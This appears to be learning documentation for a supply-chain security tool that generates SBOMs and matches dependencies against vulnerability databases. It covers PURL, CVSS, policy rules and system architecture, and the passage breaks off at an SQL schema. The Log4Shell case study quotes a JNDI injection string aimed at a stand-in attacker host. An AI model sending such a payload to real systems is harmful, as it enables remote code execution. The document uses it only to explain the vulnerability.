**The math works in the attacker's favor:** if you depend on 300 packages and each has a 0.1% chance of being compromised in a given year, you have a 26% chance of pulling in a compromised dependency. That's not a hypothetical. The npm ecosystem alone saw 700+ malicious packages published in 2022.
### How It Works in This Project
Bomber addresses three layers of the supply chain problem:
```
Layer 1: Visibility → What dependencies do I have?
bomber scan ./project (parser + scanner packages)
Layer 2: Documentation → Can I prove what's in my software?
bomber generate ./project (sbom package, SPDX/CycloneDX output)
Layer 3: Risk Assessment → Are any of these dependencies vulnerable?
bomber vuln ./project (vuln package, OSV/NVD queries)
bomber check ./project (policy package, CI/CD gates)
```
Each layer maps to specific packages in the codebase:
- **Visibility**: `internal/parser/` (ecosystem-specific parsers), `internal/scanner/` (directory walker), `internal/graph/` (graph construction)
- **Documentation**: `internal/sbom/` (SPDX 2.3 and CycloneDX 1.5 generators)
- **Risk Assessment**: `internal/vuln/` (OSV and NVD clients, CVSS calculator, cache), `internal/policy/` (policy engine)
## Software Bill of Materials (SBOM)
### What It Is
An SBOM is a machine-readable inventory of every component in a piece of software: package names, versions, suppliers, checksums, relationships between packages, and licensing information. Think of it like a nutritional label for software.
The concept existed for decades in manufacturing (bill of materials for physical products), but it became a formal requirement for software after Executive Order 14028 (May 2021), which mandated SBOMs for any software sold to the US federal government.
### Why It Matters
Without an SBOM, answering "does our software use Log4j?" requires digging through build files, container images, and deployment manifests across every service you run. With an SBOM, it's a `grep` or a database query.
**Executive Order 14028** came directly after the SolarWinds attack. The order requires SBOMs in a "machine-readable format" for federal software procurement. NTIA published minimum elements: supplier name, component name, version, unique identifier, dependency relationship, author, and timestamp. Bomber's SPDX and CycloneDX output includes all of these.
### The Two Dominant Formats
Two standards have emerged for SBOM encoding, and Bomber supports both.
**SPDX (Software Package Data Exchange)** - An ISO standard (ISO/IEC 5962:2021) originally developed by the Linux Foundation. SPDX is license-focused in its heritage, with strong support for license expressions and file-level analysis. Bomber generates SPDX 2.3 JSON at `internal/sbom/spdx.go`.
Key SPDX elements Bomber produces:
- `spdxVersion: "SPDX-2.3"` and `dataLicense: "CC0-1.0"` (required header fields)
- `documentNamespace` with a SHA-256 hash for uniqueness
- `packages` array with `SPDXID`, name, version, download location, checksums, and external references (PURL)
- `relationships` of type `DESCRIBES` (document-to-root) and `DEPENDS_ON` (parent-to-child)
**CycloneDX** - An OWASP standard purpose-built for security use cases. CycloneDX was designed from the start for vulnerability tracking, with native support for vulnerability data, services, and composition analysis. Bomber generates CycloneDX 1.5 JSON at `internal/sbom/cyclonedx.go`.
Key CycloneDX elements Bomber produces:
- `bomFormat: "CycloneDX"` and `specVersion: "1.5"`
- `serialNumber` with a UUID for document identity
- `metadata` with tool information and timestamp
- `components` array with type, name, version, PURL, bom-ref, and hashes
- `dependencies` array mapping each component to its dependents
### Choosing Between Them
| Aspect | SPDX | CycloneDX |
|--------|------|-----------|
| Standards body | ISO, Linux Foundation | OWASP |
| Primary focus | License compliance | Security analysis |
| Government adoption | Required by NTIA minimum elements | Supported alongside SPDX |
| Vulnerability support | Via external references | Native vulnerability fields |
| JSON schema | More verbose | More compact |
In practice, many organizations generate both. Bomber supports this with the `--sbom-format` flag.
## Package URL (PURL)
### What It Is
PURL is a standardized scheme for identifying software packages across ecosystems. It follows the format:
```
pkg:<type>/<namespace>/<name>@<version>?<qualifiers>#<subpath>
```
Examples from Bomber's parsers:
- Go: `pkg:golang/github.com/spf13/cobra@v1.10.2`
- npm: `pkg:npm/express@4.18.2`
- npm scoped: `pkg:npm/%40angular/core@17.0.0` (@ is percent-encoded)
- PyPI: `pkg:pypi/requests@2.31.0`
### Why It Matters
Before PURL, there was no universal way to say "this Go module" and "this npm package" using the same syntax. Vulnerability databases needed separate endpoints for each ecosystem. SBOM formats needed different fields for different package types.
PURL solves this by providing a single URI scheme that vulnerability databases (OSV, NVD) accept directly. When Bomber sends a batch query to OSV at `internal/vuln/osv.go`, it sends PURLs:
```json
{
"queries": [
{"package": {"purl": "pkg:golang/golang.org/x/net@v0.1.0"}},
{"package": {"purl": "pkg:npm/express@4.18.2"}}
]
}
```
### How Bomber Constructs PURLs
Each parser builds PURLs from the parsed manifest data:
- **Go** (`internal/parser/gomod.go`): `fmt.Sprintf("pkg:golang/%s@%s", name, version)` - Uses the Go module path directly as the PURL namespace+name
- **Node** (`internal/parser/node.go`): `fmt.Sprintf("pkg:npm/%s@%s", encodePURLName(name), version)` - Scoped packages (`@org/pkg`) get the `@` percent-encoded to `%40`
- **Python** (`internal/parser/python.go`): `fmt.Sprintf("pkg:pypi/%s@%s", normalizedName, pkg.Version)` - Names are lowercased per PyPI normalization rules
### Common Pitfalls
**Pitfall: Not normalizing package names**
PyPI treats `Requests`, `requests`, and `REQUESTS` as the same package. npm treats scoped packages (`@angular/core`) differently from unscoped ones. If you don't normalize before constructing PURLs, you'll get cache misses and duplicate vulnerability matches.
Bomber handles this in `internal/parser/python.go` by lowercasing all Python package names, and in `internal/parser/node.go` with the `encodePURLName` function that percent-encodes the `@` prefix for scoped packages.
## Dependency Graphs
### What They Are
A dependency graph is a directed graph where nodes are packages and edges represent "depends on" relationships. The root node is your project. Direct dependencies are one edge away from root. Transitive dependencies are everything else.
```
Your Project (depth 0)
├── express@4.18.2 (depth 1, direct)
│ ├── body-parser@1.20.1 (depth 2, transitive)
│ │ └── bytes@3.1.2 (depth 3, transitive)
│ └── accepts@1.3.8 (depth 2, transitive)
│ └── mime-types@2.1.35 (depth 3, transitive)
└── lodash@4.17.20 (depth 1, direct)
```
### Why Depth Matters
The `event-stream` attack in 2018 worked because the malicious code was injected at depth 2: `event-stream` depended on `flatmap-stream`, which contained the payload. Most developers who used `event-stream` never looked at what `flatmap-stream` did.
Bomber tracks depth via BFS traversal at `internal/parser/gomod.go` (`computeDepthLevels`). The policy engine at `internal/policy/engine.go` can enforce a maximum depth with the `max_depth` rule. If your dependency tree goes deeper than your threshold, `bomber check` fails with exit code 1.
### Cycle Detection
Dependency graphs shouldn't have cycles, but lockfile bugs and ecosystem-specific quirks can create them. A cycle (A depends on B, B depends on C, C depends on A) makes depth computation impossible and can break tools that walk the graph naively.
Bomber detects cycles using DFS at `internal/graph/graph.go` (`DetectCycles`). It tracks visited nodes and an "in-stack" set. If DFS encounters a node already in the current stack, that's a cycle. The terminal report at `internal/report/terminal.go` warns when cycles are found.
## Vulnerability Databases
### OSV (Open Source Vulnerabilities)
OSV is Google's open vulnerability database. It's the primary data source for Bomber because it supports batch queries (up to 1000 packages per request) and accepts PURLs directly.
**How Bomber uses OSV:**
```
Client sends POST to https://api.osv.dev/v1/querybatch
→ Body: {"queries": [{"package": {"purl": "pkg:golang/..."}}, ...]}
← Response: {"results": [{"vulns": [{"id": "GO-2023-2102", ...}]}, ...]}
```
The batch API is efficient. One HTTP request covers your entire dependency tree. The response includes vulnerability IDs, CVSS severity data, affected version ranges, fix versions, and cross-references to CVE and GHSA identifiers.
OSV covers: Go, npm, PyPI, crates.io, Maven, NuGet, RubyGems, and more. It aggregates data from ecosystem-specific databases (Go Vulnerability Database, GitHub Advisory Database, PyPI Advisory Database).
### NVD (National Vulnerability Database)
NVD is NIST's comprehensive vulnerability database. It's the authoritative source for CVE records and includes CVSS scoring data that OSV sometimes lacks.
**How Bomber uses NVD:**
NVD doesn't support PURL. Instead, Bomber constructs a CPE (Common Platform Enumeration) string at `internal/vuln/nvd.go` (`buildCPEString`):
```
pkg:golang/golang.org/x/net@v0.1.0
→ cpe:2.3:a:*:net:0.1.0:*:*:*:*:*:*:*
```
NVD queries are per-package (no batching), and rate limits are strict: 1 request per 1.7 seconds without an API key, 5 requests per second with one. Bomber implements rate limiting with a mutex-protected timer at `internal/vuln/nvd.go` (`rateLimit`).
### Deduplication
When both OSV and NVD return results for the same vulnerability, Bomber deduplicates using alias matching. OSV might report `GO-2023-2102` with aliases `["CVE-2023-44487", "GHSA-qppj-fm5r-hxr3"]`, and NVD might report `CVE-2023-44487` directly. The `deduplicateMatches` function at `internal/cli/vuln.go` checks all IDs and aliases, keeping the entry with the higher CVSS score or the one with fix version information.
## CVSS v3.1 Scoring
### What It Is
The Common Vulnerability Scoring System (CVSS) is a standardized method for rating the severity of software vulnerabilities. Version 3.1 produces a score from 0.0 to 10.0 based on eight metrics about how an attack works and what damage it causes.
### The Eight Base Metrics
A CVSS v3.1 vector string encodes all eight metrics:
```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
│ │ │ │ │ │ │ └─ Availability: High
│ │ │ │ │ │ └───── Integrity: None
│ │ │ │ │ └───────── Confidentiality: None
│ │ │ │ └───────────── Scope: Unchanged
│ │ │ └────────────────── User Interaction: None
│ │ └─────────────────────── Privileges Required: None
│ └──────────────────────────── Attack Complexity: Low
└───────────────────────────────── Attack Vector: Network
```
This vector describes CVE-2023-44487 (HTTP/2 Rapid Reset): a network-accessible attack, requiring no privileges or user interaction, with low complexity, that causes a denial of service (high availability impact) but doesn't leak or modify data. Score: 7.5 (HIGH).
### How Bomber Calculates Scores
Bomber implements the full CVSS v3.1 base score formula at `internal/vuln/cvss.go`. The calculation works in three steps:
**Step 1: Parse the vector into numeric weights**
Each metric value maps to a weight defined by the CVSS specification. For example, Attack Vector: Network maps to 0.85, Physical maps to 0.20. Bomber stores these in lookup maps (`avWeights`, `acWeights`, etc.).
**Step 2: Calculate Impact Sub-Score (ISS) and Exploitability**
```
ISS = 1 - ((1 - C) * (1 - I) * (1 - A))
If Scope = Unchanged:
Impact = 6.42 * ISS
If Scope = Changed:
Impact = 7.52 * (ISS - 0.029) - 3.25 * (ISS - 0.02)^15
Exploitability = 8.22 * AV * AC * PR * UI
```
**Step 3: Combine and round**
```
If Scope = Unchanged:
Score = min(Impact + Exploitability, 10)
If Scope = Changed:
Score = min(1.08 * (Impact + Exploitability), 10)
Final = roundUp(Score) # CVSS-specific round-up to 1 decimal
```
The `cvssRoundUp` function at `internal/vuln/cvss.go` implements the CVSS specification's rounding rule: `ceil(score * 10) / 10`.
### Severity Buckets
Scores map to severity labels:
| Score Range | Severity |
|-------------|----------|
| 9.0 - 10.0 | CRITICAL |
| 7.0 - 8.9 | HIGH |
| 4.0 - 6.9 | MEDIUM |
| 0.1 - 3.9 | LOW |
| 0.0 | NONE |
Bomber uses these at `internal/vuln/osv.go` (`scoreToSeverity`) and the policy engine compares against them at `internal/policy/engine.go`.
## CPE (Common Platform Enumeration)
### What It Is
CPE is an older naming scheme for software products used by NVD. While PURL is ecosystem-aware (`pkg:npm/express@4.18.2`), CPE uses a generic format:
```
cpe:2.3:a:<vendor>:<product>:<version>:*:*:*:*:*:*:*
```
### Why It's Imperfect
The fundamental problem: CPE requires knowing the vendor and product name as NVD records them, which doesn't always match what the package manager calls them. `golang.org/x/net` becomes `cpe:2.3:a:*:net:0.1.0:...` in Bomber's CPE builder, using a wildcard for vendor and the last path segment for product. This is a best-effort heuristic.
This is why OSV (which uses PURL natively) is Bomber's primary data source, and NVD is supplementary.
## Policy-as-Code for CI/CD
### What It Is
Policy-as-code means expressing security requirements as machine-readable rules that automated tools evaluate. Bomber's policy engine at `internal/policy/engine.go` evaluates three rule types:
```yaml
max_severity: medium # fail if any vuln exceeds this severity
max_depth: 5 # fail if dependency depth exceeds this
max_age_days: 365 # fail if any vuln is older than this
```
### Why It Matters
Manual vulnerability review doesn't scale. A team of five developers can't evaluate 200 vulnerability findings on every PR. Policy-as-code lets you define acceptable risk levels once and enforce them automatically.
The `max_severity` rule is the most common. Setting `max_severity: medium` means you accept medium-severity vulnerabilities but reject anything high or critical. This is a deliberate trade-off: blocking all vulnerabilities would break most CI pipelines because transitive dependencies frequently carry low-severity findings.
The `max_depth` rule is unique to Bomber. It acknowledges that vulnerabilities in direct dependencies (depth 1) are your immediate responsibility, while vulnerabilities at depth 5+ may be impractical to address. Setting a depth limit forces your team to keep the dependency tree shallow, which reduces supply chain risk surface.
The `max_age_days` rule enforces a remediation window. If a vulnerability was published more than 365 days ago and you still haven't fixed it, the policy fails. This catches the "known for years, never patched" class of vulnerabilities that attackers love.
## How These Concepts Relate
```
Supply Chain Security
↓
requires visibility into
↓
Dependency Graphs (depth, cycles, transitive chains)
↓
documented as
↓
SBOMs (SPDX 2.3, CycloneDX 1.5)
↓
identified by
↓
PURLs (universal package addressing)
↓
queried against
↓
Vulnerability Databases (OSV via PURL, NVD via CPE)
↓
scored using
↓
CVSS v3.1 (severity quantification)
↓
enforced by
↓
Policy Engine (CI/CD gates)
```
## Industry Standards and Frameworks
### OWASP Top 10
This project directly addresses:
- **A06:2021 - Vulnerable and Outdated Components** - The entire purpose of Bomber. Identifies known vulnerabilities in dependencies and enforces policies around them.
### MITRE ATT&CK
Relevant techniques:
- **T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain** - The threat model Bomber defends against. By generating SBOMs and checking vulnerabilities, organizations can detect compromised or vulnerable components before deployment.
### CWE
Common weakness enumerations covered:
- **CWE-1104 - Use of Unmaintained Third-Party Components** - The `max_age_days` policy rule catches vulnerabilities in components that haven't been updated despite known issues.
- **CWE-937 - Using Components with Known Vulnerabilities** - The core functionality of `bomber vuln` and `bomber check`.
### NIST SSDF (Secure Software Development Framework)
- **PS.3.1** - "Acquire and maintain well-secured software components." Bomber provides the verification layer for this practice.
- **PW.4.1** - "Check that software components are not known to contain vulnerabilities." Direct match for `bomber vuln`.
## Real World Examples
### Case Study 1: Log4Shell (CVE-2021-44228)
**What happened:** In December 2021, a critical RCE vulnerability was disclosed in Apache Log4j, a near-universal Java logging library. CVSS: 10.0. An attacker could execute arbitrary code by sending a crafted string (like `${jndi:ldap://attacker.com/a}`) that the library would attempt to resolve, triggering remote code loading.
**Why SBOMs mattered:** The hardest part of Log4Shell response wasn't patching. It was finding where Log4j existed. Large enterprises had thousands of applications, and Log4j was typically a transitive dependency buried two or three levels deep. Organizations with SBOMs could query them programmatically. Everyone else spent the weekend grepping JAR files.
**Connection to this project:** Bomber's dependency graph with `DepthLevel` tracking would surface Log4j regardless of depth. The policy engine's `max_depth` rule could have flagged projects with excessively deep dependency trees as higher risk before the vulnerability was even disclosed.
### Case Study 2: Colors and Faker (npm, January 2022)
**What happened:** The maintainer of the `colors` and `faker` npm packages deliberately sabotaged them, pushing versions that printed garbled text or entered infinite loops. Both packages had millions of weekly downloads. The sabotage cascaded through the npm ecosystem because these were common transitive dependencies.
**Why SBOMs mattered:** Organizations needed to immediately answer "do any of our services depend on `colors` or `faker`?" An SBOM query makes this trivial. Without one, teams had to audit `package-lock.json` files across every repository.
**Connection to this project:** Bomber generates SBOMs that include every transitive dependency with its exact version. A CycloneDX or SPDX document produced by Bomber for any affected project would have listed `colors` or `faker` in the components list, enabling instant triage.
### Case Study 3: ua-parser-js (npm, October 2021)
**What happened:** Attackers compromised the npm account of the `ua-parser-js` maintainer and published versions 0.7.29, 0.8.0, and 1.0.0 containing cryptocurrency mining and credential-stealing malware. The package had 8 million weekly downloads.
**Why version pinning isn't enough:** Even with exact version pinning in `package.json`, if your lockfile wasn't committed or if a fresh install happened during the compromise window, you pulled the malicious version. An SBOM generated at build time would capture the exact versions resolved, creating an auditable record of what was actually used.
## Testing Your Understanding
Before moving to the architecture, make sure you can answer:
1. What is the difference between PURL and CPE, and why does Bomber use both?
2. If a vulnerability has CVSS vector `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`, what is its score and why?
3. Why does Bomber's policy engine include a `max_depth` rule, and what real-world attack does it mitigate?
4. When Bomber gets results from both OSV and NVD for the same vulnerability, how does it decide which to keep?
## Further Reading
**Essential:**
- [SPDX Specification v2.3](https://spdx.github.io/spdx-spec/v2.3/) - The full SPDX standard, useful for understanding output format
- [CycloneDX v1.5 Specification](https://cyclonedx.org/docs/1.5/json/) - CycloneDX JSON schema and field definitions
- [PURL Specification](https://github.com/package-url/purl-spec) - The universal package identifier spec
- [OSV API Documentation](https://osv.dev/docs/) - The vulnerability database API Bomber uses as its primary source
**Deep dives:**
- [CVSS v3.1 Specification](https://www.first.org/cvss/v3.1/specification-document) - The full scoring specification, including the equations Bomber implements
- [NVD API v2.0 Documentation](https://nvd.nist.gov/developers/vulnerabilities) - The NVD REST API that Bomber uses for supplementary data
- [Executive Order 14028](https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/) - The US executive order that mandated SBOMs
**Historical context:**
- [The Update Framework (TUF)](https://theupdateframework.io/) - A framework for securing software update systems, relevant background for understanding supply chain trust
- [Reflections on Trusting Trust](https://www.cs.cmu.edu/~rdriley/487/papers/Thompson_1984_ReflsOnTrustingTrust.pdf) - Ken Thompson's 1984 Turing Award lecture on the fundamental limits of software trust

643
PROJECTS/intermediate/sbom-generator-vulnerability-matcher/learn/02-ARCHITECTURE.md Normal file
View File

@ -0,0 +1,643 @@
# System Architecture
This document breaks down how Bomber is designed, how data flows through the system, and why specific architectural decisions were made.
## High Level Architecture
```
bomber <command> [path]
│
┌───────────────▼───────────────┐
│ CLI Layer │
│ internal/cli/ │
│ root.go → scan/generate/ │
│ vuln/check │
└───────────────┬───────────────┘
│
┌──────────────────────▼──────────────────────┐
│ Scanner Engine │
│ internal/scanner/scanner.go │
│ Walks directories, skips vendor/node_modules│
│ Dispatches to parser registry │
└──────────────────────┬───────────────────────┘
│
┌─────────────────▼─────────────────┐
│ Parser Registry │
│ internal/parser/registry.go │
│ Detect() → which parsers match │
│ Parse() → build dependency graph │
└──────────┬───────────┬────────────┘
│ │
┌───────────────┤ ├───────────────┐
▼ ▼ ▼ │
┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ GoMod │ │ Node │ │ Python │ │
│ Parser │ │ Parser │ │ Parser │ │
│ go.mod │ │ pkg.json │ │ pyproject│ │
│ go.sum │ │ pnpm-lock│ │ uv.lock │ │
└────┬─────┘ └────┬─────┘ └────┬─────┘ │
│ │ │ │
└───────────────┼──────────────┘ │
▼ │
┌──────────────────────────┐ │
│ Dependency Graphs │ │
│ pkg/types/types.go │ │
│ Nodes + Edges + Root │ │
│ Depth levels, cycles │ │
└──────────┬───────────────┘ │
│ │
┌───────────┼────────────┐ │
▼ ▼ ▼ │
┌──────────┐ ┌──────────┐ ┌───────────┐ │
│ SPDX 2.3 │ │CycloneDX │ │ Vuln │ │
│ Generator│ │1.5 Gen. │ │ Matcher │ │
│ spdx.go │ │cyclonedx │ │ osv.go │ │
│ │ │ .go │ │ nvd.go │ │
└──────────┘ └──────────┘ │ cvss.go │ │
│ cache.go │ │
└─────┬─────┘ │
│ │
▼ │
┌────────────────┐ │
│ Policy Engine │ │
│ engine.go │ │
│ max_severity │ │
│ max_depth │ │
│ max_age_days │ │
└────────┬───────┘ │
│ │
▼ │
┌────────────────┐ │
│ Report Layer │ │
│ terminal.go │──────────┘
│ json.go │
└────────────────┘
```
### Component Breakdown
**CLI Layer** (`internal/cli/`)
- Purpose: Parse command-line arguments, wire up components, control output format
- Responsibilities: Signal handling (SIGINT/SIGTERM via `signal.NotifyContext`), global flag management, dispatching to the correct subcommand
- Interfaces: Consumes all internal packages, produces terminal/JSON output
**Scanner Engine** (`internal/scanner/`)
- Purpose: Walk directories and discover ecosystems
- Responsibilities: Recursive directory traversal, skipping known noise directories (`node_modules`, `.git`, `vendor`, `__pycache__`, `.venv`, etc.), dispatching detected directories to the parser registry
- Interfaces: Takes a `*parser.Registry`, returns a `*types.ScanResult`
**Parser Registry** (`internal/parser/`)
- Purpose: Manage ecosystem parsers and auto-detect which ones apply
- Responsibilities: Store registered parsers, detect applicable parsers per directory, delegate parsing to the correct implementation
- Interfaces: `DependencyParser` interface with `Detect(dir) bool`, `Parse(dir) (*DependencyGraph, error)`, and `Ecosystem() Ecosystem`
**SBOM Generators** (`internal/sbom/`)
- Purpose: Convert dependency graphs into spec-compliant SBOM documents
- Responsibilities: SPDX 2.3 and CycloneDX 1.5 JSON serialization, namespace generation, relationship mapping
- Interfaces: Each generator has a `Generate([]*DependencyGraph) ([]byte, error)` method
**Vulnerability Matcher** (`internal/vuln/`)
- Purpose: Query external databases and match packages to known vulnerabilities
- Responsibilities: OSV batch queries, NVD per-package queries, CVSS v3.1 score calculation, SQLite caching, rate limiting
- Interfaces: `Client` interface with `Query(ctx, packages) ([]VulnMatch, error)` and `Source() string`
**Policy Engine** (`internal/policy/`)
- Purpose: Evaluate vulnerability findings against configurable rules
- Responsibilities: YAML policy loading, severity threshold checks, dependency depth limits, vulnerability age enforcement
- Interfaces: `Evaluate(policy, report, graphs) *CheckResult`
**Report Layer** (`internal/report/`)
- Purpose: Format output for humans or machines
- Responsibilities: Colored terminal output with severity grouping, JSON report serialization
- Interfaces: Each formatter writes to an `io.Writer`
## Data Flow
### Scan Command Flow
Step by step walkthrough of `bomber scan ./project`:
```
1. CLI parses args → internal/cli/scan.go (runScan)
path = "./project", format from --format flag
2. Create parser registry → internal/parser/registry.go (RegisterAll)
Registers GoModParser, NodeParser, PythonParser
3. Scanner walks directory → internal/scanner/scanner.go (Scan)
discoverDirs("./project") recursively walks subdirectories
Skips: node_modules, .git, vendor, __pycache__, .venv, dist, build, .tox, target
4. For each directory:
registry.Detect(dir) → Each parser checks for its manifest file
GoMod: os.Stat("go.mod")
Node: os.Stat("package.json")
Python: os.Stat("pyproject.toml")
5. Matched parser.Parse() → Ecosystem-specific parsing
Returns *DependencyGraph with nodes (packages) and edges (dependencies)
6. Aggregate results → types.ScanResult
TotalPkgs, DirectPkgs, Ecosystems
7. Output → report/terminal.go or report/json.go
```
### Vulnerability Scan Flow
Step by step walkthrough of `bomber vuln ./project`:
```
1. Scan phase (same as above, steps 1-6)
2. Collect all packages → internal/cli/vuln.go (queryVulns)
Flatten all graphs into []types.Package via graph.AllPackages()
3. Initialize cache → internal/vuln/cache.go
SQLite at ~/.bomber/cache.db with 24h TTL
(skipped if --no-cache)
4. For each vulnerability client (OSV, optionally NVD):
a. Check cache first → cache.Get(purl, source)
Cache hit: add to matches, skip API call
Cache miss: add to uncached list
b. Query API → client.Query(ctx, uncachedPackages)
OSV: POST /v1/querybatch with PURLs, batch size 1000
NVD: GET per package with CPE, rate-limited
c. Cache responses → cache.Put(purl, source, matches)
Keyed by (purl, source) composite primary key
5. Deduplicate matches → deduplicateMatches()
Cross-reference IDs and aliases (CVE, GHSA, GO-)
Keep entry with higher CVSS score or fix version
6. Output → Scan summary + vuln report
Grouped by severity: CRITICAL → HIGH → MEDIUM → LOW
Sorted by CVSS score within each group
```
### SBOM Generation Flow
Step by step walkthrough of `bomber generate ./project --sbom-format spdx`:
```
1. Scan phase (same steps 1-6)
2. Select generator → internal/cli/generate.go
"spdx" → NewSPDXGenerator()
"cyclonedx" → NewCycloneDXGenerator()
3. Generate document → generator.Generate(graphs)
SPDX:
- Build document namespace with SHA-256 hash
- Create DESCRIBES relationship (document → root)
- For each node: create spdxPackage with PURL external ref
- For each edge: create DEPENDS_ON relationship
- Serialize to indented JSON
CycloneDX:
- Generate UUID for serial number
- For each non-root node: create cdxComponent with PURL + bom-ref
- For each edge set: create cdxDependency with dependsOn list
- Serialize to indented JSON
4. Output → stdout or --output file
```
### Policy Check Flow
Step by step walkthrough of `bomber check ./project --policy policy.yaml`:
```
1. Load policy → internal/policy/rules.go (LoadPolicy)
Parse YAML: max_severity, max_depth, max_age_days
2. Scan phase + Vuln phase (same as vuln flow)
3. Evaluate policy → internal/policy/engine.go (Evaluate)
max_severity check:
- Parse threshold (e.g., "medium" → SeverityMedium, rank 2)
- For each vuln match: if severity.Rank() > threshold.Rank() → violation
max_age_days check:
- Compute cutoff date: now - maxAgeDays
- For each vuln match: if published before cutoff → violation
- Skip vulns with zero published date
max_depth check:
- For each graph: compute MaxDepth()
- If depth > maxDepth → violation
4. Output + Exit code → report + os.Exit(1) if any violations
```
## Design Patterns
### Registry Pattern
**What it is:** A central registry that stores implementations of an interface and dispatches work based on runtime detection.
**Where we use it:** `internal/parser/registry.go` stores `DependencyParser` implementations. The scanner calls `registry.Detect(dir)` to find which parsers match a directory, then calls `Parse()` on each match.
**Why we chose it:** New ecosystems (Rust, Java, Ruby) can be added by implementing the `DependencyParser` interface and registering in `RegisterAll()`. Zero changes to the scanner, CLI, or any other package.
```go
type DependencyParser interface {
Detect(dir string) bool
Parse(dir string) (*types.DependencyGraph, error)
Ecosystem() types.Ecosystem
}
```
**Trade-offs:**
- Pros: Open/closed principle. Adding Rust support means one new file, one line in `RegisterAll()`
- Cons: All parsers must fit the same interface shape. If a parser needs fundamentally different inputs (like a network fetch), the interface doesn't accommodate that
### Functional Options Pattern
**What it is:** Configuration via variadic function arguments that modify a struct's defaults.
**Where we use it:** Both vulnerability clients use this pattern:
```go
client := vuln.NewOSVClient(WithOSVBaseURL(server.URL))
client := vuln.NewNVDClient(WithNVDBaseURL(url), WithNVDAPIKey(key))
```
**Why we chose it:** Tests need to point clients at `httptest.Server` URLs. Production code uses defaults from `internal/config/config.go`. The option functions make both cases clean without exposing internal fields or requiring a config struct.
**Trade-offs:**
- Pros: Clean defaults, testable, backward-compatible when adding options
- Cons: Slightly more boilerplate than a config struct
### Strategy Pattern
**What it is:** Interchangeable implementations behind a common interface, selected at runtime.
**Where we use it:** The `vuln.Client` interface lets `vuln.go` treat OSV and NVD identically:
```go
var clients []vuln.Client
clients = append(clients, osvClient)
if nvdKey != "" {
clients = append(clients, vuln.NewNVDClient(vuln.WithNVDAPIKey(nvdKey)))
}
for _, client := range clients {
matches, err := client.Query(ctx, uncached)
...
}
```
**Why we chose it:** OSV and NVD have completely different APIs (batch POST vs per-package GET), different authentication models (none vs API key), and different rate limits. The `Client` interface abstracts all of this away.
## Layer Separation
```
┌─────────────────────────────────────────┐
│ CLI Layer (internal/cli/) │
│ - Parses arguments and flags │
│ - Wires components together │
│ - Controls output format │
│ - Does NOT contain business logic │
└─────────────────────┬───────────────────┘
↓
┌─────────────────────────────────────────┐
│ Core Layer (internal/*) │
│ - scanner, parser, graph, sbom, │
│ vuln, policy │
│ - All business logic lives here │
│ - Each package has a single concern │
│ - Does NOT import cli or report │
└─────────────────────┬───────────────────┘
↓
┌─────────────────────────────────────────┐
│ Types Layer (pkg/types/) │
│ - Shared data structures │
│ - No business logic, no imports │
│ - Package, Vulnerability, ScanResult │
└─────────────────────────────────────────┘
```
### What Lives Where
**CLI Layer:**
- Files: `internal/cli/*.go`
- Imports: Everything in `internal/` and `pkg/types`
- Forbidden: Business logic. The CLI should only orchestrate calls to core packages.
**Core Layer:**
- Files: `internal/scanner/`, `internal/parser/`, `internal/graph/`, `internal/sbom/`, `internal/vuln/`, `internal/policy/`
- Imports: `pkg/types` and `internal/config`. Some core packages import other core packages (e.g., `scanner` imports `parser` and `graph`)
- Forbidden: Importing `internal/cli/` or `internal/report/`. Core logic should never know how it's being invoked.
**Types Layer:**
- Files: `pkg/types/types.go`
- Imports: Only standard library (`time`, `strings`)
- Forbidden: Importing anything from `internal/`. Types are the foundation everything else builds on.
## Data Models
### Package
```go
type Package struct {
Name string
Version string
Ecosystem Ecosystem
PURL string
Checksums []Checksum
Direct bool
DepthLevel int
}
```
**Fields explained:**
- `Name`: The package identifier within its ecosystem (e.g., `github.com/spf13/cobra`, `express`, `requests`)
- `Version`: The resolved version from the lockfile (e.g., `v1.10.2`, `4.18.2`, `2.31.0`)
- `Ecosystem`: Enum: `EcosystemGo`, `EcosystemNode`, `EcosystemPython`
- `PURL`: The Package URL used as the universal identifier and map key
- `Checksums`: Hash values from lockfiles (go.sum SHA-256, pnpm-lock integrity SHA-512)
- `Direct`: Whether this package is listed in the manifest (not just the lockfile)
- `DepthLevel`: BFS distance from the root package (0 = root, 1 = direct, 2+ = transitive)
### DependencyGraph
```go
type DependencyGraph struct {
Root Package
Nodes map[string]Package // keyed by PURL
Edges map[string][]string // parent PURL → []child PURLs
}
```
The graph is an adjacency list. `Nodes` stores every package keyed by its PURL. `Edges` maps each parent to its list of children. The `Root` field identifies the project being scanned.
### Vulnerability
```go
type Vulnerability struct {
ID string
Aliases []string
Severity Severity
Score float64
AffectedRange string
FixVersion string
Summary string
Source string
Published time.Time
}
```
A single vulnerability can have multiple identifiers. `ID` is the primary (e.g., `GO-2023-2102`), `Aliases` holds cross-references (e.g., `["CVE-2023-44487", "GHSA-qppj-fm5r-hxr3"]`). `Source` tracks where the data came from (`"osv"` or `"nvd"`).
## Security Architecture
### Threat Model
What we're protecting against:
1. **Known vulnerabilities in dependencies** - The primary threat. A package in your dependency tree has a published CVE with a known fix version.
2. **Deep transitive dependency risk** - Packages buried deep in the dependency tree that you never explicitly chose and may not know about.
3. **Stale vulnerability findings** - Known vulnerabilities that go unpatched for extended periods, giving attackers time to develop exploits.
What we're NOT protecting against (out of scope):
- **Zero-day vulnerabilities** - Bomber queries known vulnerability databases. If a vulnerability hasn't been published yet, Bomber won't find it.
- **Malicious packages with no CVE** - A deliberately backdoored package that hasn't been reported to any vulnerability database won't be detected by Bomber.
- **Build pipeline compromise** - Bomber analyzes source manifests, not build outputs. A compromised build system could inject dependencies not present in source.
### External API Security
**OSV API:** No authentication required. Bomber sends only PURLs (package identifiers that are already public information). No sensitive data leaves the system.
**NVD API:** Optional API key sent via `apiKey` header. The key is read from the `BOMBER_NVD_API_KEY` environment variable, never from config files or command-line arguments (which would appear in process listings).
**Cache:** The SQLite cache at `~/.bomber/cache.db` stores vulnerability responses. It contains only publicly available vulnerability data, not source code or credentials.
## Storage Strategy
### SQLite Cache
**What we store:**
- Vulnerability matches keyed by `(purl, source)` composite primary key
- Serialized as JSON blobs
- Timestamp for TTL expiration
**Why SQLite:**
SQLite is embedded (no server process), uses a single file, and `modernc.org/sqlite` is a pure-Go implementation (no CGo dependency). This means Bomber is a single statically-linked binary with no external dependencies.
**Schema:**
```sql
